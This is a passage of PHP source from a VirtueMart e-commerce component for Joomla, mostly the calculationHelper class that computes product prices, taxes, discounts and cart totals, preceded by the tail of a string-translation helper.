safe strings. * interpretBackSlashes is a boolean to interpret backslashes \\->\, \n->new line, \t->tabulation. * script is a boolean to indicate that the string will be push in the javascript language store. * * @param string $string The format string. * * @return string The translated strings or the key if 'script' is true in the array of options. * * @since 11.1 */ public static function sprintf($string) { $lang = JFactory::getLanguage(); $args = func_get_args(); $count = count($args); if ($count > 0) { if (is_array($args[$count - 1])) { $args[0] = $lang->_( $string, array_key_exists('jsSafe', $args[$count - 1]) ? $args[$count - 1]['jsSafe'] : false, array_key_exists('interpretBackSlashes', $args[$count - 1]) ? $args[$count - 1]['interpretBackSlashes'] : true ); if (array_key_exists('script', $args[$count - 1]) && $args[$count - 1]['script']) { self::$strings[$string] = call_user_func_array('sprintf', $args); return $string; } } else { $args[0] = $lang->_($string); } $args[0] = preg_replace('/\[\[%([0-9]+):[^\]]*\]\]/', '%\1$s', $args[0]); return call_user_func_array('sprintf', $args); } return ''; } }PKsl>\x.Vcom_virtuemart_update/administrator/components/com_virtuemart/helpers/calculationh.phpnuW+A_db = JFactory::getDBO(); $this->_app = JFactory::getApplication(); //We store in UTC and use here of course also UTC $jnow = JFactory::getDate(); $this->_now = $jnow->toMySQL(); $this->_nullDate = $this->_db->getNullDate(); //Attention, this is set to the mainvendor atm. //This means also that atm for multivendor, every vendor must use the shopcurrency as default // $this->vendorCurrency = 1; $this->productVendorId = 1; if (!class_exists('CurrencyDisplay') )require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $this->_currencyDisplay = CurrencyDisplay::getInstance(); $this->_debug = false; if(!empty($this->_currencyDisplay->_vendorCurrency)){ $this->vendorCurrency = $this->_currencyDisplay->_vendorCurrency; $this->vendorCurrency_code_3 = $this->_currencyDisplay->_vendorCurrency_code_3; $this->vendorCurrency_numeric = $this->_currencyDisplay->_vendorCurrency_numeric; } /* else if(VmConfig::get('multix','none')!='none'){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="1" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; }*/ $this->setShopperGroupIds(); $this->setVendorId($this->productVendorId); $this->rules['Marge'] = array(); $this->rules['Tax'] = array(); $this->rules['VatTax'] = array(); $this->rules['DBTax'] = array(); $this->rules['DATax'] = array(); //round only with internal digits $this->_roundindig = VmConfig::get('roundindig',FALSE); } static public function getInstance() { if (!is_object(self::$_instance)) { self::$_instance = new calculationHelper(); } else { //We store in UTC and use here of course also UTC $jnow = JFactory::getDate(); self::$_instance->_now = $jnow->toMySQL(); } return self::$_instance; } public function setVendorCurrency($id) { $this->vendorCurrency = $id; } //static $allrules= array(); var $allrules= array(); public function setVendorId($id){ $this->productVendorId = $id; //vmdebug('setVendorId $allrules '.$this->productVendorId,count($this->allrules)); if(empty($this->allrules[$this->productVendorId])){ $epoints = array("'Marge'","'Tax'","'VatTax'","'DBTax'","'DATax'"); $this->allrules[$this->productVendorId]['Marge'] = array(); $this->allrules[$this->productVendorId]['Tax'] = array(); $this->allrules[$this->productVendorId]['VatTax'] = array(); $this->allrules[$this->productVendorId]['DBTax'] = array(); $this->allrules[$this->productVendorId]['DATax'] = array(); $q = 'SELECT * FROM #__virtuemart_calcs WHERE `calc_kind` IN (' . implode(",",$epoints). ' ) AND `published`="1" AND (`virtuemart_vendor_id`="' . $this->productVendorId . '" OR `shared`="1" ) AND ( ( publish_up = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_up <= "' . $this->_db->getEscaped($this->_now) . '" ) AND ( publish_down = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_down >= "' . $this->_db->getEscaped($this->_now) . '" ) OR `for_override` = "1" )'; $this->_db->setQuery($q); $allrules = $this->_db->loadAssocList(); //By Maik, key of array is directly virtuemart_calc_id foreach ($allrules as $rule){ $this->allrules[$this->productVendorId][$rule["calc_kind"]][$rule["virtuemart_calc_id"]] = $rule; } } } public function getCartPrices() { return $this->_cartPrices; } public function setCartPrices($cartPrices) { $this->_cartPrices = $cartPrices; } public function setCartPricesMerge($cartPrices){ foreach($cartPrices as $k=>$item){ if($k===0) { vmdebug('setCartPricesMerge k === 0 ? item ',$item); continue; } if(isset($this->_cartPrices[$k]) and is_array($this->_cartPrices[$k])){ $this->_cartPrices[$k] = array_merge($this->_cartPrices[$k],$item); } else { $this->_cartPrices[$k] = $item; } } } public function getCartData() { return $this->_cartData; } protected function setShopperGroupIds($shopperGroupIds=0, $vendorId=1) { if (!empty($shopperGroupIds)) { $this->_shopperGroupId = $shopperGroupIds; } else { $user = JFactory::getUser(); $this->_shopperGroupId = array(); if (!empty($user->id)) { $this->_db->setQuery('SELECT `usgr`.`virtuemart_shoppergroup_id` FROM #__virtuemart_vmuser_shoppergroups as `usgr` JOIN `#__virtuemart_shoppergroups` as `sg` ON (`usgr`.`virtuemart_shoppergroup_id`=`sg`.`virtuemart_shoppergroup_id`) WHERE `usgr`.`virtuemart_user_id`="' . $user->id . '" AND `sg`.`virtuemart_vendor_id`="' . (int) $vendorId . '" '); $this->_shopperGroupId = $this->_db->loadResultArray(); if (empty($this->_shopperGroupId)) { $this->_db->setQuery('SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shoppergroups WHERE `default`="'.($user->guest+1).'" AND `virtuemart_vendor_id`="' . (int) $vendorId . '"'); $this->_shopperGroupId = $this->_db->loadResultArray(); } } if(!$this->_shopperGroupId) $this->_shopperGroupId = array(); $shoppergroupmodel = VmModel::getModel('ShopperGroup'); $site = JFactory::getApplication ()->isSite (); $shoppergroupmodel->appendShopperGroups($this->_shopperGroupId,$user,$site,$vendorId); } } protected function setCountryState($cart=0) { if ($this->_app->isAdmin()) return; if (empty($cart)) { if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); } $this->_cart = $cart; $stBased = VmConfig::get('taxSTbased',TRUE); if ($stBased and !empty($this->_cart->ST['virtuemart_country_id'])) { $this->_deliveryCountry = (int)$this->_cart->ST['virtuemart_country_id']; } else if (!empty($this->_cart->BT['virtuemart_country_id'])) { $this->_deliveryCountry = (int)$this->_cart->BT['virtuemart_country_id']; } if ($stBased and !empty($this->_cart->ST['virtuemart_state_id'])) { $this->_deliveryState = (int)$this->_cart->ST['virtuemart_state_id']; } else if (!empty($cart->BT['virtuemart_state_id'])) { $this->_deliveryState = (int)$this->_cart->BT['virtuemart_state_id']; } //vmdebug('setCountryState state '.$this->_deliveryState,$this->_cart->BT); } /** function to start the calculation, here it is for the product * * The function first gathers the information of the product (maybe better done with using the model) * After that the function gatherEffectingRulesForProductPrice writes the queries and gets the ids of the rules which affect the product * The function executeCalculation makes the actual calculation according to the rules * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param int $product The product * @param int $catIds When the category is already determined, then it makes sense to pass it, if not the function does it for you * @return int $prices An array of the prices * 'basePrice' basePrice calculated in the shopcurrency * 'basePriceWithTax' basePrice with Tax * 'discountedPrice' before Tax * 'priceWithoutTax' price Without Tax but with calculated discounts AFTER Tax. So it just shows how much the shopper saves, regardless which kind of tax * 'discountAmount' the "you save X money" * 'salesPrice' The final price, with all kind of discounts and Tax, except stuff that is only in the checkout * */ public function getProductPrices($product, $variant=0.0, $amount=0, $ignoreAmount=true, $currencydisplay=true) { $costPrice = 0; //We already have the productobject, no need for extra sql if (is_object($product)) { $costPrice = isset($product->product_price)? $product->product_price:0; $this->productCurrency = isset($product->product_currency)? $product->product_currency:0; $override = isset($product->override)? $product->override:0; $product_override_price = isset($product->product_override_price)? $product->product_override_price:0; $this->product_tax_id = isset($product->product_tax_id)? $product->product_tax_id:0; $this->product_discount_id = isset($product->product_discount_id)? $product->product_discount_id:0; $productVendorId = !empty($product->virtuemart_vendor_id)? $product->virtuemart_vendor_id:1; $this->setVendorId($productVendorId); $this->_cats = $product->categories; $this->_product = $product; $this->_product->amount = $amount; $this->productPrices = array(); if(!isset($this->_product->quantity)) $this->_product->quantity = 1; $this->_manufacturerId = !empty($product->virtuemart_manufacturer_id) ? $product->virtuemart_manufacturer_id:0; } //Use it as productId else { vmError('getProductPrices no object given query time','getProductPrices no object given query time'); } if(VmConfig::get('multix','none')!='none' and (empty($this->vendorCurrency) or $this->vendorCurrency!=$this->productVendorId)){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="' . $this->productVendorId . '" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; } if (!empty($amount)) { $this->_amount = $amount; } $this->setCountryState($this->_cart); //For Profit, margin, and so on $this->rules['Marge'] = $this->gatherEffectingRulesForProductPrice('Marge', $this->product_marge_id); $this->productPrices['costPrice'] = $costPrice; $basePriceShopCurrency = $this->roundInternal($this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $costPrice,true)); //vmdebug('my pure $basePriceShopCurrency',$costPrice,$this->productCurrency,$basePriceShopCurrency); $basePriceMargin = $this->roundInternal($this->executeCalculation($this->rules['Marge'], $basePriceShopCurrency)); $this->basePrice = $basePriceShopCurrency = $this->productPrices['basePrice'] = !empty($basePriceMargin) ? $basePriceMargin : $basePriceShopCurrency; if (!empty($variant)) { $basePriceShopCurrency = $basePriceShopCurrency + doubleval($variant); $this->productPrices['basePrice'] = $this->productPrices['basePriceVariant'] = $basePriceShopCurrency; } if (empty($this->productPrices['basePrice'])) { return $this->fillVoidPrices($this->productPrices); } if (empty($this->productPrices['basePriceVariant'])) { $this->productPrices['basePriceVariant'] = $this->productPrices['basePrice']; } $this->rules['Tax'] = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $this->productPrices['basePriceWithTax'] = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $this->productPrices['basePrice'], true),'basePriceWithTax'); $this->rules['VatTax'] = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); if(!empty($this->rules['VatTax'])){ $price = !empty($this->productPrices['basePriceWithTax']) ? $this->productPrices['basePriceWithTax'] : $this->productPrices['basePrice']; $this->productPrices['basePriceWithTax'] = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $price,true),'basePriceWithTax'); } $this->rules['DBTax'] = $this->gatherEffectingRulesForProductPrice('DBTax', $this->product_discount_id); $this->productPrices['discountedPriceWithoutTax'] = $this->roundInternal($this->executeCalculation($this->rules['DBTax'], $this->productPrices['basePrice']),'discountedPriceWithoutTax'); if ($override==-1) { $this->productPrices['discountedPriceWithoutTax'] = $product_override_price; } $priceBeforeTax = !empty($this->productPrices['discountedPriceWithoutTax']) ? $this->productPrices['discountedPriceWithoutTax'] : $this->productPrices['basePrice']; $this->productPrices['priceBeforeTax'] = $priceBeforeTax; $this->productPrices['salesPrice'] = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $priceBeforeTax, true),'salesPrice'); $salesPrice = !empty($this->productPrices['salesPrice']) ? $this->productPrices['salesPrice'] : $priceBeforeTax; $this->productPrices['taxAmount'] = $this->roundInternal($salesPrice - $priceBeforeTax); if(!empty($this->rules['VatTax'])){ $this->productPrices['salesPrice'] = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $salesPrice),'salesPrice'); $salesPrice = !empty($this->productPrices['salesPrice']) ? $this->productPrices['salesPrice'] : $salesPrice; } $this->rules['DATax'] = $this->gatherEffectingRulesForProductPrice('DATax', $this->product_discount_id); $this->productPrices['salesPriceWithDiscount'] = $this->roundInternal($this->executeCalculation($this->rules['DATax'], $salesPrice),'salesPriceWithDiscount'); // vmdebug('$$override salesPriceWithDiscount',$override,$this->productPrices['salesPriceWithDiscount'],$salesPrice); $this->productPrices['salesPrice'] = !empty($this->productPrices['salesPriceWithDiscount']) ? $this->productPrices['salesPriceWithDiscount'] : $salesPrice; $this->productPrices['salesPriceTemp'] = $this->productPrices['salesPrice']; //Okey, this may not the best place, but atm we handle the override price as salesPrice if ($override==1) { $this->productPrices['salesPrice'] = $product_override_price; // $this->productPrices['discountedPriceWithoutTax'] = $this->product_override_price; // $this->productPrices['salesPriceWithDiscount'] = $this->product_override_price; } else { } if(!empty($product->product_packaging) and $product->product_packaging!='0.0000'){ $this->productPrices['unitPrice'] = $this->productPrices['salesPrice']/$product->product_packaging; } else { $this->productPrices['unitPrice'] = 0.0; } if(!empty($this->rules['VatTax'])){ $this->_revert = true; $this->productPrices['priceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; $afterTax = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $this->productPrices['salesPrice']),'salesPrice'); if(!empty($afterTax)){ $this->productPrices['taxAmount'] = $this->productPrices['salesPrice'] - $afterTax; } $this->_revert = false; } // vmdebug('getProductPrices',$this->productPrices['salesPrice'],$this->product_override_price); //The whole discount Amount // $this->productPrices['discountAmount'] = $this->roundInternal($this->productPrices['basePrice'] + $this->productPrices['taxAmount'] - $this->productPrices['salesPrice']); $basePriceWithTax = !empty($this->productPrices['basePriceWithTax']) ? $this->productPrices['basePriceWithTax'] : $this->productPrices['basePrice']; //changed // $this->productPrices['discountAmount'] = $this->roundInternal($basePriceWithTax - $salesPrice); if(empty($this->rules['DBTax'])){ $this->productPrices['discountAmount'] = $this->roundInternal($basePriceWithTax - $this->productPrices['salesPrice']) * -1; } else { $this->productPrices['discountAmount'] = $this->roundInternal($this->productPrices['discountedPriceWithoutTax'] - $this->productPrices['basePriceVariant']) * -1; } //price Without Tax but with calculated discounts AFTER Tax. So it just shows how much the shopper saves, regardless which kind of tax // $this->productPrices['priceWithoutTax'] = $this->roundInternal($salesPrice - ($salesPrice - $discountedPrice)); // $this->productPrices['priceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; $this->productPrices['priceWithoutTax'] = $salesPrice - $this->productPrices['taxAmount']; if ($override==1 || $this->productPrices['discountedPriceWithoutTax'] == 0) { $this->productPrices['discountedPriceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; } if (!isset($this->productPrices['discountedPriceWithoutTax'])) $this->productPrices['discountedPriceWithoutTax'] = 0.0; $this->productPrices['variantModification'] = $variant; $this->productPrices['DBTax'] = array(); foreach($this->rules['DBTax'] as $dbtax){ $this->productPrices['DBTax'][$dbtax['virtuemart_calc_id']] = array($dbtax['calc_name'],$dbtax['calc_value'],$dbtax['calc_value_mathop'],$dbtax['calc_shopper_published'],$dbtax['calc_currency'],$dbtax['calc_params'], $dbtax['virtuemart_vendor_id'], $dbtax['virtuemart_calc_id']); } $this->productPrices['Tax'] = array(); foreach($this->rules['Tax'] as $tax){ $this->productPrices['Tax'][$tax['virtuemart_calc_id']] = array($tax['calc_name'],$tax['calc_value'],$tax['calc_value_mathop'],$tax['calc_shopper_published'],$tax['calc_currency'],$tax['calc_params'], $tax['virtuemart_vendor_id'], $tax['virtuemart_calc_id']); } $this->productPrices['VatTax'] = array(); foreach($this->rules['VatTax'] as $tax){ $this->productPrices['VatTax'][$tax['virtuemart_calc_id']] = array($tax['calc_name'],$tax['calc_value'],$tax['calc_value_mathop'],$tax['calc_shopper_published'],$tax['calc_currency'],$tax['calc_params'], $tax['virtuemart_vendor_id'], $tax['virtuemart_calc_id'],); } $this->productPrices['DATax'] = array(); foreach($this->rules['DATax'] as $datax){ $this->productPrices['DATax'][$datax['virtuemart_calc_id']] = array($datax['calc_name'],$datax['calc_value'],$datax['calc_value_mathop'],$datax['calc_shopper_published'],$datax['calc_currency'],$datax['calc_params'], $datax['virtuemart_vendor_id'], $datax['virtuemart_calc_id']); } if(!empty($this->rules['VatTax'])){ //vmdebug('!empty($this->rules["VatTax"]',$this->rules['VatTax']); if(empty($this->_cartData['VatTax'])){ $this->_cartData['VatTax'] = array(); } foreach($this->rules['VatTax'] as &$rule){ if(isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']])){ if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'])) { $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] = 0.0; $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] = 0.0; } $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] += $this->productPrices['taxAmount'] * $this->_product->quantity; $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] += $this->productPrices['salesPrice'] * $this->_product->quantity; } else { $this->_cartData['VatTax'][$rule['virtuemart_calc_id']] = $rule; if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'])) $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] = $this->productPrices['taxAmount'] * $this->_product->quantity; if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'])) $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] = $this->productPrices['salesPrice'] * $this->_product->quantity; } //vmdebug('subtotal vattax id '.$rule['virtuemart_calc_id'].' = '.$this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount']); } } // vmdebug('getProductPrices',$this->productPrices); return $this->productPrices; } public function calculateCostprice($productId,$data){ $this->_revert = true; //vmdebug('calculationh.php calculateCostprice ',$data); //vmSetStartTime('calculateCostprice'); if(empty($data['product_currency'])){ $this->_db->setQuery('SELECT * FROM #__virtuemart_product_prices WHERE `virtuemart_product_id`="' . $productId . '" '); $row = $this->_db->loadAssoc(); if ($row) { if (!empty($row['product_price'])) { $this->productCurrency = $row['product_currency']; $this->product_tax_id = $row['product_tax_id']; $this->product_discount_id = $row['product_discount_id']; } else { vmdebug('cost Price empty, if child, everything okey, this is just a dev note'); return false; } } } else { $this->productCurrency = $data['product_currency']; $this->product_tax_id = $data['product_tax_id']; $this->product_discount_id = $data['product_discount_id']; } $this->_db->setQuery('SELECT `virtuemart_vendor_id` FROM #__virtuemart_products WHERE `virtuemart_product_id`="' . $productId . '" '); $single = $this->_db->loadResult(); $this->productVendorId = $single; if (empty($this->productVendorId)) { $this->productVendorId = 1; } $this->_db->setQuery('SELECT `virtuemart_category_id` FROM #__virtuemart_product_categories WHERE `virtuemart_product_id`="' . $productId . '" '); $this->_cats = $this->_db->loadResultArray(); // vmTime('getProductPrices no object given query time','getProductCalcs'); if(VmConfig::get('multix','none')!='none' and empty($this->vendorCurrency )){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="' . $this->productVendorId . '" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; } if (!empty($amount)) { $this->_amount = $amount; } //$this->setCountryState($this->_cart); $this->rules['Marge'] = $this->gatherEffectingRulesForProductPrice('Marge', $this->product_marge_id); $this->rules['Tax'] = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $this->rules['VatTax'] = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); $this->rules['DBTax'] = $this->gatherEffectingRulesForProductPrice('DBTax', $this->product_discount_id); $this->rules['DATax'] = $this->gatherEffectingRulesForProductPrice('DATax', $this->product_discount_id); $salesPrice = $data['salesPrice']; $withoutVatTax = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $salesPrice)); $withoutVatTax = !empty($withoutVatTax) ? $withoutVatTax : $salesPrice; vmdebug('calculateCostprice',$salesPrice,$withoutVatTax, $data); $withDiscount = $this->roundInternal($this->executeCalculation($this->rules['DATax'], $withoutVatTax)); $withDiscount = !empty($withDiscount) ? $withDiscount : $withoutVatTax; // vmdebug('Entered final price '.$salesPrice.' discount '.$withDiscount); $withTax = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $withDiscount)); $withTax = !empty($withTax) ? $withTax : $withDiscount; $basePriceP = $this->roundInternal($this->executeCalculation($this->rules['DBTax'], $withTax)); $basePriceP = !empty($basePriceP) ? $basePriceP : $withTax; $basePrice = $this->roundInternal($this->executeCalculation($this->rules['Marge'], $basePriceP)); $basePrice = !empty($basePrice) ? $basePrice : $basePriceP; $productCurrency = CurrencyDisplay::getInstance(); $costprice = $productCurrency->convertCurrencyTo( $this->productCurrency, $basePrice,false); $this->_revert = false; //vmdebug('calculateCostprice',$salesPrice,$costprice, $data); return $costprice; } public function setRevert($revert){ $this->_revert = $revert; } protected function fillVoidPrices(&$prices) { if (!isset($prices['basePrice'])) $prices['basePrice'] = null; if (!isset($prices['basePriceVariant'])) $prices['basePriceVariant'] = null; if (!isset($prices['basePriceWithTax'])) $prices['basePriceWithTax'] = null; if (!isset($prices['discountedPriceWithoutTax'])) $prices['discountedPriceWithoutTax'] = null; if (!isset($prices['priceBeforeTax'])) $prices['priceBeforeTax'] = null; if (!isset($prices['taxAmount'])) $prices['taxAmount'] = null; if (!isset($prices['salesPriceWithDiscount'])) $prices['salesPriceWithDiscount'] = null; if (!isset($prices['salesPriceTemp'])) $prices['salesPriceTemp'] = null; if (!isset($prices['salesPrice'])) $prices['salesPrice'] = null; if (!isset($prices['discountAmount'])) $prices['discountAmount'] = null; if (!isset($prices['priceWithoutTax'])) $prices['priceWithoutTax'] = null; if (!isset($prices['variantModification'])) $prices['variantModification'] = null; if (!isset($prices['unitPrice'])) $prices['unitPrice'] = null; return $prices; } /** function to start the calculation, here it is for the invoice in the checkout * This function is partly implemented ! * * The function calls getProductPrices for every product except it is already known (maybe changed and adjusted with product amount value * The single prices gets added in an array and already summed up. * * Then simular to getProductPrices first the effecting rules are determined and calculated. * Ah function to determine the coupon that effects the calculation is already implemented. But not completly in the calculation. * * Subtotal + Tax + Discount = Total * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param int $productIds The Ids of the products * @param int $cartVendorId The Owner of the cart, this can be ignored in vm1.5 * @return int $prices An array of the prices * 'resultWithOutTax' The summed up baseprice of all products * 'resultWithTax' The final price of all products with their tax, discount and so on * 'discountBeforeTax' discounted price without tax which affects only the checkout (the tax of the products is in it) * 'discountWithTax' discounted price taxed * 'discountAfterTax' final result * */ // function getCheckoutPrices($productIds,$variantMods=array(), $cartVendorId=1,$couponId=0,$shipId=0,$paymId=0){ public function getCheckoutPrices($cart, $checkAutomaticSelected=true) { if(isset($this->_cartPrices) and is_array($this->_cartPrices) and count($this->_cartPrices)>0 and isset($this->_cartData['totalProduct']) and $this->_cartData['totalProduct']==count($cart->products) and $cart->couponCode == $this->couponCode and $checkAutomaticSelected ===$this->_checkAutomaticSelected ){ return $this->_cartPrices; } $this->_checkAutomaticSelected = $checkAutomaticSelected; $this->_cart = $cart; $this->couponCode = $cart->couponCode; $this->inCart = TRUE; $pricesPerId = array(); $this->_cartPrices = array(); $this->_cartData = array(); $resultWithTax = 0.0; $resultWithOutTax = 0.0; $this->_cartData['VatTax'] = array(); $this->_cartPrices['basePrice'] = 0; $this->_cartPrices['basePriceWithTax'] = 0; $this->_cartPrices['discountedPriceWithoutTax'] = 0; $this->_cartPrices['salesPrice'] = 0; $this->_cartPrices['taxAmount'] = 0; $this->_cartPrices['salesPriceWithDiscount'] = 0; $this->_cartPrices['discountAmount'] = 0; $this->_cartPrices['priceWithoutTax'] = 0; $this->_cartPrices['subTotalProducts'] = 0; $this->_cartData['duty'] = 1; $this->_cartData['payment'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartData['paymentName'] = ''; $cartpaymentTax = 0; $this->setCountryState($cart); $this->_amountCart = 0; $this->_cartData['totalProduct'] = count($cart->products); foreach ($cart->products as $name => $product) { //$product = $productModel->getProduct($product->virtuemart_product_id,false,false,true); $productId = $product->virtuemart_product_id; if (empty($product->quantity) || empty($product->virtuemart_product_id)) { JError::raiseWarning(710, 'Error the quantity of the product for calculation is 0, please notify the shopowner, the product id ' . $product->virtuemart_product_id); continue; } $this->productCurrency = isset($product->product_currency)? $product->product_currency:0; $variantmods = $this->parseModifier($name); $variantmod = $this->calculateModificators($product, $variantmods); $cartproductkey = $name; //$product->virtuemart_product_id.$variantmod; $product->prices = $pricesPerId[$cartproductkey] = $this->getProductPrices($product, $variantmod, $product->quantity, true, false); $this->_amountCart += $product->quantity; $this->_cartPrices[$cartproductkey] = $product->prices; if($this->_currencyDisplay->_priceConfig['basePrice']) $this->_cartPrices['basePrice'] += self::roundInternal($product->prices['basePrice'],'basePrice') * $product->quantity; // $this->_cartPrices['basePriceVariant'] = $this->_cartPrices['basePriceVariant'] + $pricesPerId[$product->virtuemart_product_id]['basePriceVariant']*$product->quantity; if($this->_currencyDisplay->_priceConfig['basePriceWithTax']) $this->_cartPrices['basePriceWithTax'] += self::roundInternal($product->prices['basePriceWithTax']) * $product->quantity; if($this->_currencyDisplay->_priceConfig['discountedPriceWithoutTax']) $this->_cartPrices['discountedPriceWithoutTax'] += self::roundInternal($product->prices['discountedPriceWithoutTax'],'discountedPriceWithoutTax') * $product->quantity; if($this->_currencyDisplay->_priceConfig['salesPrice']){ $this->_cartPrices[$cartproductkey]['subtotal_with_tax'] = self::roundInternal($product->prices['salesPrice'],'salesPrice') * $product->quantity; $this->_cartPrices['salesPrice'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } if($this->_currencyDisplay->_priceConfig['taxAmount']){ $this->_cartPrices[$cartproductkey]['subtotal_tax_amount'] = self::roundInternal($product->prices['taxAmount'],'taxAmount') * $product->quantity; $this->_cartPrices['taxAmount'] += $this->_cartPrices[$cartproductkey]['subtotal_tax_amount']; } if($this->_currencyDisplay->_priceConfig['salesPriceWithDiscount']) $this->_cartPrices['salesPriceWithDiscount'] += self::roundInternal($product->prices['salesPriceWithDiscount'],'salesPriceWithDiscount') * $product->quantity; if($this->_currencyDisplay->_priceConfig['discountAmount']){ $this->_cartPrices[$cartproductkey]['subtotal_discount'] = self::roundInternal($product->prices['discountAmount'],'discountAmount') * $product->quantity; $this->_cartPrices['discountAmount'] += $this->_cartPrices[$cartproductkey]['subtotal_discount']; } if($this->_currencyDisplay->_priceConfig['priceWithoutTax']) { $this->_cartPrices[$cartproductkey]['subtotal'] = self::roundInternal($product->prices['priceWithoutTax'],'priceWithoutTax') * $product->quantity; $this->_cartPrices['priceWithoutTax'] += $this->_cartPrices[$cartproductkey]['subtotal']; } } $this->_product = null; $this->_cartData['DBTaxRulesBill'] = $this->gatherEffectingRulesForBill('DBTaxBill'); $this->_cartData['taxRulesBill'] = $this->gatherEffectingRulesForBill('TaxBill'); $this->_cartData['DATaxRulesBill'] = $this->gatherEffectingRulesForBill('DATaxBill'); $this->_cartPrices['salesPriceDBT'] = array(); $this->_cartPrices['taxRulesBill'] = array(); $this->_cartPrices['DATaxRulesBill'] = array(); foreach ($cart->products as $cartproductkey => $product) { //for Rules with Categories foreach($this->_cartData['DBTaxRulesBill'] as &$dbrule){ if(!empty($dbrule['calc_categories'])){ if(!isset($dbrule['subTotal'])) $dbrule['subTotal'] = 0.0; $set = array_intersect($dbrule['calc_categories'],$product->categories); if(count($set)>0){ //foreach($set as $s){ $dbrule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$dbrule['calc_name'].' is per category subTotal '.$dbrule['subTotal']); // subarray with subTotal for each taxID necessary to calculate tax correct if there are more than one VatTaxes if(!isset($dbrule['subTotalPerTaxID'])) $dbrule['subTotalPerTaxID'] = array(); if($product->product_tax_id != 0) { if(!isset($dbrule['subTotalPerTaxID'][$product->product_tax_id])) $dbrule['subTotalPerTaxID'][$product->product_tax_id] = 0.0; $dbrule['subTotalPerTaxID'][$product->product_tax_id] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } else { foreach($this->allrules[$product->virtuemart_vendor_id]['VatTax'] as $virtuemart_calc_id => $rule){ $set = array_intersect($rule['cats'],$product->categories); if(count($set)>0){ if(!isset($dbrule['subTotalPerTaxID'][$virtuemart_calc_id])) $dbrule['subTotalPerTaxID'][$virtuemart_calc_id] = 0.0; $dbrule['subTotalPerTaxID'][$virtuemart_calc_id] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } } //} } } } // subTotal for each taxID necessary, equal if calc_categories exists ore not if(!empty($this->_cartData['taxRulesBill'])) { foreach($this->_cartData['taxRulesBill'] as $k=>&$trule){ if(!isset($trule['subTotal'])) $trule['subTotal'] = 0.0; if($product->product_tax_id != 0) { if($product->product_tax_id == $k) { $trule['subTotal']+= $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } elseif(!empty($trule['calc_categories'])){ $set = array_intersect($trule['calc_categories'],$product->categories); if(count($set)>0){ $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$trule['calc_name'].' is per category subTotal '.$trule['subTotal']); } } else { $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } } /* foreach($this->_cartData['taxRulesBill'] as $k=>&$trule){ if(!empty($trule['calc_categories'])){ if(!isset($trule['subTotal'])) $trule['subTotal'] = 0.0; $set = array_intersect($trule['calc_categories'],$product->categories); if(count($set)>0){ //foreach($set as $s){ $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$trule['calc_name'].' is per category subTotal '.$trule['subTotal']); //} } } } */ foreach($this->_cartData['DATaxRulesBill'] as &$darule){ if(!empty($darule['calc_categories'])){ if(!isset($darule['subTotal'])) $darule['subTotal'] = 0.0; $set = array_intersect($darule['calc_categories'],$product->categories); if(count($set)>0){ if(!isset($darule['subTotal'])) $darule['subTotal'] = 0.0; //foreach($set as $s){ $darule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; //} } } } } // Calculate the discount from all rules before tax to calculate billTotal $cartdiscountBeforeTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['DBTaxRulesBill'], $this->_cartPrices['salesPrice'])); // We need the discount per category for each taxID to reduce the total discount before calculate percentage from hole cart 